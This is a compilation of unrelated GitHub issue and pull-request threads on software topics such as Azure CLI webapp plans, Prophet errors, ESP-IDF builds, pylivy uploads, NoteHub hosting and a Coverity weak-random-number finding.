You are right, but this is a fundamental issue of time synchronization. There will always be a time difference between the camera frame and the LiDAR frame because the capture frequency is different. You can take a look at the timestamp in the labels they provided. In the paper, they said that the threshold they allowed is a 30ms difference between the camera frame and the LiDAR frame.

是这样的，从激光雷达投影到图像错的离谱，也不知道给出内外参干嘛用的。

是这样的，从激光雷达投影到图像错的离谱，也不知道给出内外参干嘛用的，如果你解决了这个问题，还请劳烦告知我一下，不胜感激。

对的，我也发现了这个问题，反复检查后确认不是我自己的问题。是激光雷达本身点云坐标系的问题，根本不是虚拟雷达坐标系，但我暂时没找到是哪个坐标系。


appservice: support to create plan when create a webapp

Fix #1369
1.	az group create -n myRG -l eastus
2.	az webapp create -g myRG -n myWeb1
(this should automatically create a plan named ‘myWeb1_Plan’. CLI will output a warning to communicate)
3.	az webapp create -g myRG -n myWeb2
(CLI will detect whether there is a plan in myRG to use, and then create myWeb2 into ‘myWeb1_Plan’)
4.	az webapp create -g myRG -n myWeb3 –plan myWeb1_Plan
(You can always call out the plan name and CLI will use it if exists; otherwise it will create one)
5.	az group create -n myRG2 -l estsus
6.	az webapp create -g myRG2 -n myWeb4 –plan /subscriptions/…/resourceGroups/myRG/providers/Microsoft.Web/serverfarms/ myWeb1_Plan
(If you create a web in a different group, you can always reference an existing plan by using full id)

Codecov Report

Merging #2550 into master will increase coverage by 0.06%.
The diff coverage is 100%.

@@            Coverage Diff            @@
##           master   #2550      +/-   ##
=========================================
+ Coverage   72.13%   72.2%   +0.06%
=========================================
  Files         362     363       +1
  Lines       19776   19814      +38
  Branches     2920    2925       +5
=========================================
+ Hits        14266   14307      +41
  Misses       4589    4589
+ Partials      921     918       -3

Impacted Files
Coverage Δ

...zure/cli/command_modules/appservice/_validators.py
100% <100%> (ø)

...ice/azure/cli/command_modules/appservice/custom.py
72.92% <100%> (+0.27%)
:white_check_mark:

...ce/azure/cli/command_modules/appservice/_params.py
94.39% <100%> (+0.45%)
:white_check_mark:

...ource/azure/cli/command_modules/resource/custom.py
54.8% <0%> (+0.46%)
:white_check_mark:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 232beb7...532220e. Read the comment docs.

@yugangw-msft You are my hero! This looks awesome.

@lostintangent, I am merging this one. Please note, I decided to make a separate PR for the command renaming we chatted in #2325. The Webapp team is circulating the naming change and will confirm it no later than this Wednesday.


Push notification for product-market fit research

We want to establish AA's product-market fit - in other words, what is the most valuable part of the app, and for whom? We will do that by sending a push notification to users which sends them to a survey.
Logic: users who have had the app downloaded longer than 5 days
Language: Send in English to all users (future rounds we will look at other languages).
Timing: it should be sent out on Tuesday at 7pm.
Push notification-
Title: :compass emoji: Using Arrival Advisor
Text: We want to hear how you use Arrival Advisor. Answer 5 quick questions to help us improve!
In-app dynamic content:
Title: We want to hear from you! :compass emoji:
Text: Tell us how you would feel if you could no longer use Arrival Advisor by answering these 5 questions.

All notifications sent on Monday, Nov 15th


Transferring objects from local python context into PySpark context

Hi @acroz! - sparkmagic has this very cool feature which allows you to transfer python objects like a pandas dataframe from the local python context into the remote spark context via Livy (eg. the pandas dataframe becomes a pyspark dataframe in the spark context).
I was thinking about looking into trying to add some similar functionality for pylivy, but before I start looking into it I wanted to see if you have already looked into this at all, or have any thoughts on it?
Thanks!

Hey, this sounds like a cool feature, and a very useful addition!
If I understand correctly, this sounds like it would do the inverse of livy.session.LivySession.read, which retrieves a Spark dataframe as a Pandas DataFrame locally. I've not looked into implementing the upload, but I would look at implementing it in a similar way to how read works.
I imagine this would result in a method like:
class LivySession:
    ...
    def write(self, dataframe_name: str, dataframe: pandas.DataFrame) -> None:
        ...

I'm not convinced that the naming of these methods as read and write are the best (read was probably decided in the late night coding session that hacked together the first version of this library and I am not wedded to it) - I wonder would it make sense to rename these to download and upload or something else suitable? Keen for your thoughts on this. (If we did rename them we could leave read as an alias with a deprecation warning).
Happy to help with this over the coming weeks, especially with a bit more free time over the holidays!

@gthomas-slack If you're interested in developing this I'm happy to leave it up to you, otherwise I may spend a bit of time on it myself over the next week or two. Please let me know your preference!

I likely won’t have time to look into it over the next couple of weeks,
please go ahead, thanks!
On Sun, Dec 20, 2020 at 8:19 AM Andrew Crozier<EMAIL_ADDRESS>wrote:

@gthomas-slack https://github.com/gthomas-slack If you're interested in
developing this I'm happy to leave it up to you, otherwise I may spend a
bit of time on it myself over the next week or two. Please let me know your
preference!
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/acroz/pylivy/issues/88#issuecomment-748621077, or
unsubscribe
https://github.com/notifications/unsubscribe-auth/AK25H7DM2QFOFUUZJQU7AWLSVYIYZANCNFSM4UNWZ2UA
.

@gthomas-slack I've opened #93 to implement this, and renamed read/write to download/upload as mentioned. Can you have a look and offer any comments, especially on the naming issue?

Hi @acroz Awesome! Sorry for the delayed response, I am just getting back to work today. I'll take a look soon!

Hi @acroz Awesome! Sorry for the delayed response, I am just getting back to work today. I'll take a look soon!

Hi @acroz So sorry for the late response on this, I just wanted to say that we have started using this feature internally, and it's working great. Thanks so much for adding it, very much appreciated 🙇


guild_only for Slash Commands

Summary
An option to make a slash command guild only - like in the normal commands.
What is the feature request for?
The core library
The Problem
When a slash command requires to be run on a guild, there has to be a check in the beginning of the function.
But then the command is still shown in the menu with all commands in a dm.
The Ideal Solution
Add something like guild_only=True or @nextcord.guild_only() and register it do every guild the bot is in.
The Current Solution
Add a check to the beginning of the command and send a message when there's no guild.
Additional Context
No response

This will be implemented once discord releases perms v2.


Long term hosting strategy

I am interested in hearing about your long term hosting and/or monetization strategy.
I really love this service and would like to be able to rely on it to store markdown articles indefinitely.  In my experience the biggest obstacle to this is hosting costs, sites start out great, but then if they don't have a viable business model they are shut down or go offline eventually.
You say you are hosting on heroku free tier.  Are you storing the data there as well? If the site became popular would you find a way to finance the increased hosting costs and scale the service?
I love this service and would love to see it succeed.
Thanks!

Hi, good question. Let me shed some light on my long-term strategy wrt. NoteHub.
NoteHub was born as a simple programming experiment and initially I had no plans or thoughts about what I want to it to become. After it was finished, I let it online and minimized the amount of headache it can cause. (I actually still pay for the domain only.) Due to good testing and very careful extending with new features I managed to make NoteHub a very simple, robust and reliable service.
Over time I realized, that this is exactly those things, which make NoteHub special in the today's internet. I also decided to commit myself to keep it that way. Sometimes, when I have time and feel creative, I extend NoteHub with minor features. The priority get those features, which increase the reliability for the end user. For example, last year, I implemented note compression and internal cache, to decrease the storage footprint and to increase the response time of accessing a note. I also introduced a rule, that all notes, which get less than 30 views in 30 days, will be automacially deleted, to get rid of the "hello-world" and "test" notes people leave, when they discover the service. This saves space on the free DB hosting. This rule works quite well, because any note which was published somewhere gets at least 30 bots in the first week. These improvements allow me to host NoteHub with very limited resources, so Heroku is still good enough. Also, I managed to render a note page as a 100% static page, which makes it displayable everywhere with zero JS.
All notes are currently hosted in a free RedisLab DB, and I pull a backup snapshots every few months.
(I cannot do it on a regular basis, as it is not possible with my free plan). So I'm actually prepared for sudden Heroku / RedisLab fallout and would lose only a fraction of data in the worst case.
Now, a few words about the future plans. My next big todo, which I plan for the end of this year or maybe
next year (depends on other personal prios) is to completelly rewrite NoteHub with Node.js, which would make it faster and more portable (if I decide to move to a new hosting). I'm not programming Clojure anymore, so I also want to synchronize the technology of NoteHub with my current preferences. Besides this, I have no plans to expand it to something more, than it is at the moment and I definitelly don't want to monetize anything.
I had some thoughts already, what would be the best way for NoteHub to evolve, if it will get so popular,
that some day there will be a need for a payed hosting. Good news is, that the challenges caused by the
growth can be only of "linear nature": the traffic will increase, I'll need more hosting, but that's it. All of these issues can be effectively managed today without big financial resources.  In this case, I will
do anything possible to keep it ad free and to avoid wikipedia-like begging for donations. One idea I had
was to provide payed service for "power" users. For very low cost (like $5 / year) a user would get features  like (just a selection of some ideas):

embedding of pictures
password protected notes
hiding of notes (without deleting them)
extended note statistics (like pie charts with all possible profilings of traffic, referring sites, etc)
optinal note comments
drafts (auto-save, etc.)
"index" page (referring to all notes of the autor, maybe an "about" section)

As you see, after three years of NoteHub I still didn't lose my interest and I'm commited to keep NoteHub as an outstandingly reliable service. And altough I don't look for any huge growth, I'm prepared (at least,
mentally) for the next step.
I hope I could answer all of your questions.

More than adaquate answer at this point.  Of course there's always uncertainty about the fate of a project moving forward, but this is good to hear.
Fremium is tricky and usually requires more features.    Paying customers must pay more to subsidize free tier and developers need to implement more features to justify the paid tier.
I like the nearlyfreespeech.net payment model because it's accurate, dirt cheap, and predictable, but implementing payment processing and tracking usage and account balances would also require work to implement.
You could beg for donations when people are going to publish a new note, but not while they are reading posts.  I think this would be practical and not annoying.  A nonintrusive donation link from the landing page might be enough to help fund your modest hosting needs, should that become necessary.
Worst case you could truncate the content to motivate people to pay for the service.  That way the link is still working and there's a preview, so people aren't completely lost and disappointed.  Also, potentially either readers or publisher could fund the hosting for the post, and you wouldn't have to have user accounts.  This is better than a paywall, because the anyone making a donation is helping to fund the hosting for everyone that wants to read that post.  At the bottom of the article there could be a link to help fund the hosting, this link could show the exact details of traffic and funding for that post so users can tell whether their donation is needed to help fund the hosting for that post.  Perhaps the link to fund the post would only appear when the hosting funds for that post got low.  Just some ideas.  It's probably too cheap to make any of this necessary.
Anyway, thanks for the response.

I like all of your ideas.
They also remembered me, that in the past, I was also thinking more about "power" notes rather than "power" users. This could be merged with your idea about asking for donations at the publishing: the user could donate and enable the "power" mode with several features I described above.
This also could be combined with the NFS payment method: you pay once and then your deposit will decrease only if you publish power notes... I don't think the tracking is complicated at this point, but what I don't like is that i'd need to identify the user. And if I won't ask for the email, I could never provide password recovery. But then, the service gets non-anonymous and definitely not "hassle-free" anymore. But I'm sure we can work out this dilemma.
Also, what I expect, is that even if I have to move to a low-cost virtual server first (there are servers for like $3-4 / month (!)), the problem would disappear for several years to come, because I only have 25Mb DB space at the moment (I'm at about 36% usage) and this storage space would increase to at least 1-5 GB. The processor and RAM wouldn't probably increase much in comparison to Heroku, but even then, I'd rather experiment with further technical optimisations to decrease the load, which I actually consider as a very interesting challenge and would have a lot of fun to tackle it. (It cannot be hard to serve static content)
Due to these low-cost hosting, even with a simple Donate button on the landing page I probably would be able to cover the costs, and if not, these is not the amount of money I care about. I care much more about the time spent on the project, because this resource is limited much more.


Initialization failed due to unknown causes

I was loading the attached dataset, and tried using FB Prophet to fit it. But then when I tried running the following code, it keeps giving me this error message: RuntimeError: Initialization failed. Don't really understand how this could happen;p Could you please help take a look?
`import datetime
datapath = "./"
df = pd.read_csv(datapath+"CompleteOrder_HANOI_Alltime.csv") #FB requires y-variable
df = df.drop(df[df.completed_orders < 0].index)
df['y'] = np.log(df['completed_orders'])
df = df.drop('completed_orders', axis = 1)
df = df.drop('percent_completed', axis = 1)
df['ds'] = df['to_char']
df = df.drop('to_char', axis = 1)
df['ds'] = pd.to_datetime(df['ds'])
articles = pd.DataFrame({
'holiday': 'publish',
'ds': pd.to_datetime([ '2015 - 04 - 30', '2015 - 05 - 01', '2015 - 09 - 02',
'2016-04-30', '2016-05-01', '2016 - 02 - 06', '2016 - 02 - 07', '2016 - 02 - 08',
'2016 - 02 - 09', '2016 - 02 - 10', '2016 - 02 - 11', '2016 - 02 - 12',
'2016 - 02 - 13', '2016 - 02 - 14', '2016-09-02', '2016 - 12 - 31',
'2017 - 01 - 01', '2017 - 01 - 02', '2017 - 01 - 26', '2017 - 01 - 27',
'2017 - 01 - 28', '2017 - 01 - 29', '2017 - 01 - 30', '2017 - 01 - 31',
'2017 - 02 - 01', '2017-04-30', '2017-05-01', '2017-09-02']),
'lower_window': 0,
'upper_window': 5,
})
m = Prophet(holidays=articles, mcmc_samples=1000, yearly_seasonality=True, changepoint_prior_scale = 0.04)
model = m.fit(df)
`

Could you post the full output of the error? Is it giving any sort of stacktrace?
It seems that something is wrong with the data being sent over to Stan. Is it possible for you to post a csv of df so I can replicate this?

@bletham it happens at the line model = m.fit(df). Attached is the csv.

Thanks! This dataset has several rows with completed_orders=0, which are turning into Inf when you take the log. Best to rectify those in same way (e.g. replace 0s with 1s). The current version on github checks for this and gives a useful error message instead of just erroring out, and will be pushed to pip soon!

This fix (better error message) has been pushed to CRAN and pypi in v0.2.


Stage 1, Task 1-2 – Front-end JS

At the end of this stage, your files should be identical to the ones in folder 1. Stage 1

Added prodavachnik.js functionality


Make speack function async and return a promise

Could you please just change the speack fonction by adding an async word front of it + return a new Promise ?
It would allow to use it like this:

That's much better than to have the chain callback all time for every sentence.
Here is the pull request: https://github.com/Marak/say.js/pull/110

Duplicate of #69


python3Packages.rsskey: init at 0.2.0

Description of changes
Add rsskey and its dependency markdownify
Things done

Built on platform(s)

[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[x] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[x] Tested basic functionality of all binary files (python -m rsskey)
22.11 Release Notes (or backporting 22.05 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module
[ ] (Release notes changes) Ran nixos/doc/manual/md-to-db.sh to update generated release notes

[x] Fits CONTRIBUTING.md.

Result of nixpkgs-review pr 185118 run on x86_64-linux 1

4 packages built:

python310Packages.markdownify
python310Packages.rsskey
python39Packages.markdownify
python39Packages.rsskey

@ofborg build python310Packages.rsskey


[core-amqp] Update runtime dependency "jssha"

Remove dev dependency "@types/jssha", since types have moved into the runtime package
Remove unused runtime dependency on "jssha" in "core-amqp"

<EMAIL_ADDRESS>was rewritten in TypeScript.  It should not have any breaking changes, but the major version was bumped as a precaution:
https://github.com/Caligatio/jsSHA/blob/master/CHANGELOG.md
Blocked by #9173

/azp run js - eventhubs-client - tests

/azp run js - eventhubs-processor - tests

/azp run js - servicebus - tests

/azp run js - eventhubs-processor - tests

/azp run js - eventhubs-client - tests

/azp run js - servicebus - tests

@ramya-rao-a, @xirzec: Can you please review this runtime dependency update?  I will wait until all live tests pass before merging.


Unique symbols for tokens

W_ETH(https://github.com/synapsecns/sdk/blob/master/src/tokens.ts#L159), WETH for Fantom(https://github.com/synapsecns/sdk/blob/master/src/tokens.ts#L210), WETH for Moonbeam(https://github.com/synapsecns/sdk/blob/master/src/tokens.ts#L172) have the same symbol WETH. The Wrapped Ether token for Avalanche is WETH_E with no indication it's avalanche other than it's addresses array
More dangeriously, DFK_USDC (https://github.com/synapsecns/sdk/blob/dev/src/tokens.ts#L316)and USDC(https://github.com/synapsecns/sdk/blob/master/src/tokens.ts#L42) have the same symbol!
This tends to create issues with the API and doesn't provide any unique identifier for tokens other than the hash of the BaseToken itself

With a few exceptions, I try to keep the symbol field of tokens populated with the result of the .symbol() contract call. It's not super helpful as a unique identifier in general; one example is UST: there are several UST wrappers which are used almost interchangeably by the Terra bridge, all of which have the symbol "UST".
Your point about having a unique identifier available is well taken, though. In terms of your usage of such a field within the API, does it matter to you whether or not the unique ID is human-readable as well as unique, or just that it's unique? No matter what, I'll most likely generate and hard-code ids to provide consistency.

Right now, all the BaseToken keys, eg DFK_USDC are acting as the unique identifier for the token so I've been able to work my way around this in the API.
Ideally something that is human readable and unique, like what you're using above would be best. I think it's worth thinking about what id/hash would be natural to a multi chain token.

@metagabbar do you think it makes sense to have a unique ID per-chain? For example, nETH would have a "prefix" of "neth" and a suffix per-chain? Ie. "neth_AVAX", "neth_BOBA"`, etc.

The Wrapped Ether token for Avalanche is WETH_E with no indication it's avalanche other than it's addresses array

To this point, do you have any suggestions for how to address this from a code perspective? I can (and should, and plan to) considerably improve JS/TSDoc for tokens, but are there any helper properties/methods that could be exposed?

@metagabbar do you think it makes sense to have a unique ID per-chain? For example, nETH would have a "prefix" of "neth" and a suffix per-chain? Ie. "neth_AVAX", "neth_BOBA"`, etc.

The Wrapped Ether token for Avalanche is WETH_E with no indication it's avalanche other than it's addresses array

To this point, do you have any suggestions for how to address this from a code perspective? I can (and should, and plan to) considerably improve JS/TSDoc for tokens, but are there any helper properties/methods that could be exposed?

I think this is a decent approach, but it somehow doesn't sit well with me because we're effectively augmenting the object with an attribute which has redundant data. We know the token symbol, and we know the chains it's available on and you already mentioned that you're effectively naming the symbol token the same as the .symbol() contract call
I was thinking something more id-ish, like a dumb but working solution would be to have a hash of JSON.stringify(Tokens[Tokens.AVAX]) or something like that. Thoughts ?

@metagabbar Install<EMAIL_ADDRESS>With commit 28846fc, the Token interface now has a hash property which is -- for now? -- calculated at object initialization time by taking the MD5 sum of a few key properties of the token object.
Going to leave this issue open for now, but please let me know if the above solution works for you.

Yes, _hash property lgtm. Focusing on indexer project right now, so I'm not going to migrate the API to use this attribute just yet, but this is a much needed addition. WIll get back when I integrate it! Feel free to close out tho

@bleaker0x unrelated, but if you can take a look at support channel #ticket-01003 on discord and see if there's something you can /contribute would be great


spiffs_create_partition_image not working after update (IDFGH-1696)

I updated my ESP-IDF today and a project that was working is now no longer working,
When trying to write spiffs at flash time using the spiffs_create_partition_image in the CMakelists.txt
I am now getting the following error
CMake Error at main/CMakeLists.txt:9 (spiffs_create_partition_image):
Unknown CMake command "spiffs_create_partition_image".
CMakeLists.txt as follows
set(COMPONENT_SRCS "main.c"
                    "server.c"
                    "connect.c"
                    "LM74A.c")
set(COMPONENT_ADD_INCLUDEDIRS ".")

register_component()

spiffs_create_partition_image(spiffs ../html FLASH_IN_PROJECT)

Hi. Can you give more information about the IDF version you've updated to, as well as the full build logs. Also, can you verify that you are able to build $IDF_PATH/examples/storage/spiffsgen example?

@renzbagaporo
CMakeOutput.log
CMakeError.log
idf version is v3.2.2-dirty
I downloaded a fresh copy of the windows tools installer yesterday so I'm not sure what the exensia tool version is.
The spiffsgen example has disapeared out of the repo https://github.com/espressif/esp-idf/tree/39f090a4f/examples/examples/storage/spiffsgen gives a 404.
and naturally it has disappeared for me to
output looks as follows
-- Adding linker script C:/Users/mairs/esp/esp-idf/components/esp32/ld/esp32.rom.spiram_incompatible_fns.ld
-- Building empty aws_iot component due to configuration
CMake Error at main/CMakeLists.txt:9 (spiffs_create_partition_image):
  Unknown CMake command "spiffs_create_partition_image".

-- Configuring incomplete, errors occurred!
See also "C:/_esp32/esp32-course/_13_internet/_9_xx_Server_6_sta_tmp/build/CMakeFiles/CMakeOutput.log".
See also "C:/_esp32/esp32-course/_13_internet/_9_xx_Server_6_sta_tmp/build/CMakeFiles/CMakeError.log".
cmake failed with exit code 1

Ah, so you downgraded versions @Mair? spiffsgen is not available on v3.2, as it was introduced in v4.0.
The right link is https://github.com/espressif/esp-idf/tree/39f090a4f/examples/storage/spiffsgen. (examples was repeated in your link).

@renzbagaporo
Uhh, that's interesting.
OK let me upgrade and see how it goes


heme import

for PMID:29549126
decreased heme import into cell
abolished heme import into cell
use GO:0140420 for the phenotypic observation

abnormal heme import FYPO:0007395
decreased heme import FYPO:0007396
abolished heme import FYPO:0007397


fix(types): fix type change in<EMAIL_ADDRESS>

修复了 g 升级和 type 的问题

Pull Request Test Coverage Report for Build<PHONE_NUMBER>

1 of 2 (50.0%)  changed or added relevant lines in 2 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 73.721%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

src/chart/view.ts
0
1
0.0%

Totals

Change from base Build<PHONE_NUMBER>:
0.0%

Covered Lines:
1899

Relevant Lines:
2388

💛  - Coveralls


Grammar

This seems like a small (but important) contribution, so no Contribution License Agreement is required at this point. We will now review your pull request.
Thanks,
Microsoft Pull Request Bot

Happy to help!


[tflite] Add png to tflite evaluation tool

Currently, image preprocessing in tensorflow/lite/tools/evaluation only supports jpeg and raw images. This patch add png support.
Why we need png:

raw rgb files are larger
the jpeg used in tensorflow doesn't support lossless compression, which is needed for some picture quality models.
some datasets uses the png format

Sorry, I am probably the person to review it

@gbaned from git blame  tensorflow/lite/tools/evaluation/stages/image_preprocessing_stage.cc, the file was mainly touched by  @srjoglekar246 and @thaink

Hi @Ferev Can you please review this PR ? Thank you!

Hi @gbaned, is there anything I can do to move forward?

Hi @gbaned, is there anything I can do to move forward?

Hi @freedomtan Sorry for the delay. Nothing pending from your end.

Hi @Ferev Can you please review this PR ? Thank you!

Hi @Ferev Can you please review this PR ? Thank you!

Hi @Ferev Can you please review this PR ? Thank you!

Hi @Ferev Can you please review this PR ? Thank you!

Hi @Ferev Can you please review this PR ? Thank you!

Hi @Ferev Can you please review this PR ? Thank you!

Hi @Ferev Can you please review this PR ? Thank you!

Hi @Ferev Can you please review this PR ? Thank you!

Hi @Ferev Can you please review this PR ? Thank you!

Hi @Ferev Can you please review this PR ? Thank you!

Hi @Ferev , Can you please review this PR ? Thank you!

Hi @Ferev , Can you please review this PR ? Thank you!

Hi @Ferev , Can you please review this PR ? Thank you!

Hi @haozha111, Can you please review this PR ? Thank you!

Hi @haozha111, Can you please review this PR ? Thank you!

Hi @haozha111, Can you please review this PR ? Thank you!

Hi @haozha111, Can you please review this PR ? Thank you!

Hi @haozha111, Can you please review this PR ? Thank you!


Splitting to two services

This pull request splits the current monolith into two primary services. This optimizes for faster API calls as the overhead of downloading files can be split.

@coderabbitai review


Support for replica-announce-ip and replica-announce-port

Discussed in https://github.com/KvrocksLabs/kvrocks/discussions/481

Originally posted by djotanov February 13, 2022
In docker/kubernetes, instances don't have a fixed up. When working with dynamic IPs, sentinel will not work, unless kvrocks can be configured to announce DNS address of the instance (and mapped port if needed).
Does kvrocks support replica-announce-ip' and 'replica-announce-port properties (couldn't see them in config file)?
Redis support these since 3.2 version.

done via https://github.com/apache/incubator-kvrocks/pull/1303


Convert 'firstValues' helper into an option for Formidable constructor.

Support plan

which support plan is this issue covered by? (e.g. Community, Sponsor, or
Enterprise): Community
is this issue currently blocking your project? (yes/no): no
is this issue affecting a production system? (yes/no): no

Context

node version: v20.11.0
module (formidable) version: ^3.5.1
environment (e.g. node, browser, native, OS): node
used with (i.e. popular names of modules): express.js
any other relevant information: parsing FormData from POST requests coming from Next.js + TypeScript app

What problem are you trying to solve?

Hello, Formidable community:
Today I started developing a Node.js server on Express.js to handle Next.js + TypeScript requests, and I came across an issue when trying to parse the body from the request that is sent as FormData. After some research I chose Formidable to parse the FormData. I managed to parse the data, and then I noticed the fields were retrieved and sent back as arrays in the response (for example, email: ['user@mail.com']), so I went back on the documentation and I found the 'firstValues' helper.
Everything works fine now - the values are sent as key: value instead of key: [value], but I find it difficult to deal with such a common issue a lot of developers are probably facing. Since Next.js + TypeScript almost forces to pass the body as FormData even for text inputs, and Node.js requires an external parser such as Formidable, I am afraid a lot of developers are dealing with this issue over and over again.
My suggestion is to convert the 'firstValues' helper into another option that can be passed to the Formidable constructor, in the same way as { maxFiles: 1 }, { multiples: true }, and the rest of options within DEFAULT_OPTIONS constant. That would make it a lot easier to deal with this issue, as const { firstValues } = require("formidable/src/helpers/firstValues.js") would no longer be required and it would be replaced by const form = formidable({ firstValues: true }).
Note: I am new to Formidable and barely have any experience with TypeScript, so if there is currently a way of doing this I would be so thankful if you explain it.
Thank you all for your help.
Do you have a new or modified API suggestion to solve the problem?
I don't.

Some people asked in the past to make the library smaller. This would make it bigger.
Sometimes you want some data to be array for example with <select multiple> but not everything

The current way of doing this is not only ugly (const { firstValues } = require("formidable/src/helpers/firstValues.js")), but confusing too, as this format is vastly different from what express offers and most node devs use express.
I don't think anyone would care if the library got a little bit bigger for a quality of life improvement like this, it's also completely backwards compatible as it's just a new option, what are the arguments against this?


Ex_I_suggestions

Suggestions for Exercise_I comments (issue #83)

Unfortunately, this is now conflicting with the other changes already made to the notebooks. There are two ways to proceed:

rebase this pull request and fix the conflicts.
reapply the changes to the most recent notebooks and open a new PR.

Given that notebooks are very difficult to work with on the diff and conflict resolution level, I would go with the second option.


docs: fix error in transformIgnorePatterns

Summary
hello, I'm quite sure that is a copy-paste error 🙂
Thanks!

@SimenB done 👍


Avoid overlapping stack cards with before and after elements

Hello,
I'm stumbling with my current layout as I've to put so many dirty hacks to avoid the elements get overlapped with swiping cards.
 <View style={{ marginBottom: 20 }}>
                            <Text>Big cars</Text>
                            <Text>
                                Lorem ipsum lorem ipsum Lorem ipsum lorem ipsum Lorem ipsum lorem
                                ipsum Lorem ipsum lorem ipsum
                            </Text>
                        </View>

                        <View
                            style={{
                                flex: 1,
                                minHeight: 300,
                            }}
                        >
                            <SwipeCards
                                containerStyle={styles.container}
                                dragY={false}
                                allowGestureTermination={false}
                                cards={newlyAdded}
                                renderCard={cardData => renderCard(cardData)}
                                stack={true}
                                stackDepth={newlyAdded.length < 5 ? 3 : 5}
                                stackOffsetX={4}
                                stackOffsetY={-stackOffSetY(newlyAdded.length)}
                                onClickHandler={() => null}
                                showYup={false}
                                showNope={false}
                                smoothTransition={true}
                            />
                        </View>

                        <View style={{ marginBottom: 20 }}>
                            <Text>Big cars</Text>
                            <Text>
                                Lorem ipsum lorem ipsum Lorem ipsum lorem ipsum Lorem ipsum lorem
                                ipsum Lorem ipsum lorem ipsum
                            </Text>
                        </View>

You can't use flex on the parent of SwipeCards just like that... for more info check #9.
TL;DR possible solutions:

You can make the height fixed and the width dynamic 100%
You can use a fixed height based on the screen size using Dimensions.get('window').height / 2 (this will take up half of the screen's height.
You can use onLayout = (event) => { const { width, height } = event.nativeEvent.layout; this.setState({ cardWidth: width, cardHeight: height }) }; to set the size of the swipe cards after you know what space is left for you to use...

I've tried all the above issues before except 2nd. Second one looks closer to my solution however, in all possibilities above, one thing is causing so much trouble and that is more space which is getting created when removing cards (in from stack of cards).

Sorry, but I can't understand the problem...

When more number of swiping takes place, more number of spacing gets created below the Swiper container

It seems to me that you are looking for a fixed size of the swipe cards - so just make the parent of a fixed size or try to apply it to the SwipeCards style directly:
style={{
  //flex: 1, // <<-- remove this
  height: 300,
}}

No, I'm looking for a dynamic height for SwipeCards.

The problem here is not the swipe cards, I can't help you since it is up for you to figure out how to structure your screen to be responsive/looks as you want it.
From the code attached I can see a couple of styling problems that are not related to the lib.
We have an app working with a header and a footer for the cards and it is very responsive with the same solution I gave you earlier.
Please note that the content or the cards can affect it's behavior on flexable layouts


feat: add cross-compat with JS environments that do not support node APIs

While this rewrites the implementation, it could probably work just as well to default to the native Buffer behavior (as btoa/atob is older than Buffer.from()) and use this as a fallback for the environment not allowing node APIs. All it requires is checking typeof Buffer being undefined or not. If preferred feel free to edit or lmk


Fieldset.Legend does not support isPageHeading prop

isPageHeading prop should add the class nhsuk-fieldset__legend--xl when true

This should be achievable by setting the Fieldset.Legend variant to page-heading.

That worked great, thank you. I'll leave this open so we can get it documented

This should be fixed in v3.5.1.


/questions/addone Works but doesn't return a positive back to postman

on using postman to submit the request:
/questions/addone
with the body of a question.
The question correctly updates and populates with the json in the body.
but times out on reply to postman, postman just stays on the "sending request" screen with no update.
Here is the error message in the console:
TypeError: res.json is not a function
    at C:\Users\andyn\OneDrive\Documents\GitHub\behavioural-recruitment\server.js:77:8
    at process.processTicksAndRejections (node:internal/process/task_queues:95:5)

Fixed by https://github.com/TheWoodenMan/behavioural-recruitment/pull/11
The res was being overwritten by the result of the previous promise


R8.0.0

modify openspace planning for sweeper

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you all sign our Contributor License Agreement before we can accept your contribution.9 out of 10 committers have signed the CLA.:white_check_mark: daohu527:white_check_mark: macDure:white_check_mark: fanyueqiao:white_check_mark: qilinhu:white_check_mark: ad-litianjiao:white_check_mark: lykling:white_check_mark: SeasoulChris:white_check_mark: lj0919:white_check_mark: wk19921225:x: wangchuang03wangchuang03 seems not to be a GitHub user. You need a GitHub account to be able to sign the CLA. If you have already a GitHub account, please add the email address used for this commit to your account.You have signed the CLA already but the status is still pending? Let us recheck it.


Remove drand48() usage

Per Coverity:

"drand48()" should not be used for security related applications, as linear congruential algorithms are too easy to break.

Specifically it found these new ones (although it's old code):
** CID 1375126:    (DC.WEAK_CRYPTO)
/tools/jtest/jtest.cc: 2762 in make_range_header(int, double, char *, int)()
/tools/jtest/jtest.cc: 2763 in make_range_header(int, double, char *, int)()

________________________________________________________________________________________________________
*** CID 1375126:    (DC.WEAK_CRYPTO)
/tools/jtest/jtest.cc: 2762 in make_range_header(int, double, char *, int)()
2756       int tmp[3];
2757
2758       if (!rbuf || !size_limit)
2759         return;
2760
2761       tmp[0] = gen_bfc_dist(dr - 1.0);
   CID 1375126:    (DC.WEAK_CRYPTO)
   "drand48()" should not be used for security related applications, as linear congruential algorithms are too easy to break.
2762       tmp[1] = ((int)(drand48() * 1000000)) % (tmp[0] - 1 - 0 + 1);
2763       tmp[2] = ((int)(drand48() * 1000000)) % (tmp[0] - 1 - 0 + 1) + tmp[1] + 100;
2764
2765       if (tmp[0] > 100) {
2766         if (tmp[0] <= tmp[2]) {
2767           tmp[2] = tmp[0] - 1;
/tools/jtest/jtest.cc: 2763 in make_range_header(int, double, char *, int)()
2757
2758       if (!rbuf || !size_limit)
2759         return;
2760
2761       tmp[0] = gen_bfc_dist(dr - 1.0);
2762       tmp[1] = ((int)(drand48() * 1000000)) % (tmp[0] - 1 - 0 + 1);
   CID 1375126:    (DC.WEAK_CRYPTO)
   "drand48()" should not be used for security related applications, as linear congruential algorithms are too easy to break.
2763       tmp[2] = ((int)(drand48() * 1000000)) % (tmp[0] - 1 - 0 + 1) + tmp[1] + 100;
2764
2765       if (tmp[0] > 100) {
2766         if (tmp[0] <= tmp[2]) {
2767           tmp[2] = tmp[0] - 1;
2768         }

